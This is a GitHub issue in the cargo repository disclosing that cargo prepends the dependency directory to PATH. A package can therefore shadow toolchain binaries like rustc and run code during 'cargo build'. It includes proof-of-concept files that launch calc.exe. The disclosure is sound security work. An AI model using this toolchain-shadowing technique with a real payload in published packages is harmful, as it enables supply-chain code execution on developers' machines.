cargo icon indicating copy to clipboard operation
cargo copied to clipboard

Arbitrary code execution during `cargo build`

Open LOURC0D3 opened this issue 9 months ago • 2 comments

Problem

When cargo builds a package, it adds the dependency directory to the front of the PATH environment variable. As a result, the malicious package's modified executable is resolved and executed before toolchain executables such as rustc or cc. This means that a malicious package may lead to arbitrary code execution.

This appears to be a similar issue to CVE-2024-24787(https://pkg.go.dev/vuln/GO-2024-2825), which was recently discovered in Golang. However, this bug affects all operating systems, not just Darwin.

Additionally, while CVE-2024-24787 modifies path resolution by directly changing linker flags, Cargo does not require that.

Steps

  1. Configure malicious package.
  • rustc.rs
use std::process::Command;

fn main()
{
	let _test = Command::new("C:\\\\Windows\\\\System32\\\\calc.exe")
		.spawn();
}
  • main.rs
mod rustc;
fn main() {
    println!("Hello, world!");
}
  • Cargo.toml
[package]
name = "poc"
version = "0.1.0"
edition = "2021"

# See more keys and their definitions at <https://doc.rust-lang.org/cargo/reference/manifest.html>

[dependencies]
cc = "1.0.94" # for waiting to malicious program

[[bin]]
name = "rustc"
path = "src/rustc.rs"

[[bin]]
name = "test"
path = "src/test.rs"
  1. Result

Running cargo build executes arbitrary code.

스크린샷 2024-05-10 오전 11 35 34

https://github.com/rust-lang/cargo/assets/83567597/d5f0eeac-0aa6-40a4-84ed-17d0fe69d10d

  • PoC Package https://drive.google.com/file/d/1wnK9YxAeI6HwLXSVp5k7eN-EvtD9hMa8/view?usp=sharing

Possible Solution(s)

  • Place the build/deps directory at the end of PATH.
    • The Security team says that break legitimate functionality that expects local libraries to be considered before system libraries. However, it is questionable whether there are cases where local libraries should be considered first.
  • Register a blacklist to prevent building with the executable name of the toolchain used by Rust.

Notes

I reported this bug to the Rust Security Response WG, but it was not treated as a security vulnerability.

Version

release: 1.77.2
commit-hash: e52e360061cacbbeac79f7f1215a7a90b6f08442
commit-date: 2024-03-26
host: x86_64-pc-windows-msvc
libgit2: 1.7.2 (sys:0.18.2 vendored)
libcurl: 8.5.0-DEV (sys:0.4.70+curl-8.5.0 vendored ssl:Schannel)
os: Windows 10.0.22631 (Windows 11 Professional) [64-bit]

LOURC0D3 avatar May 10 '24 03:05 LOURC0D3

It probably was not treated as a vulnerability because Cargo intentionally gives you a way to run arbitrary Rust code at build time via build scripts.

valadaptive avatar May 10 '24 10:05 valadaptive

@rustbot label +A-security

heisen-li avatar May 10 '24 11:05 heisen-li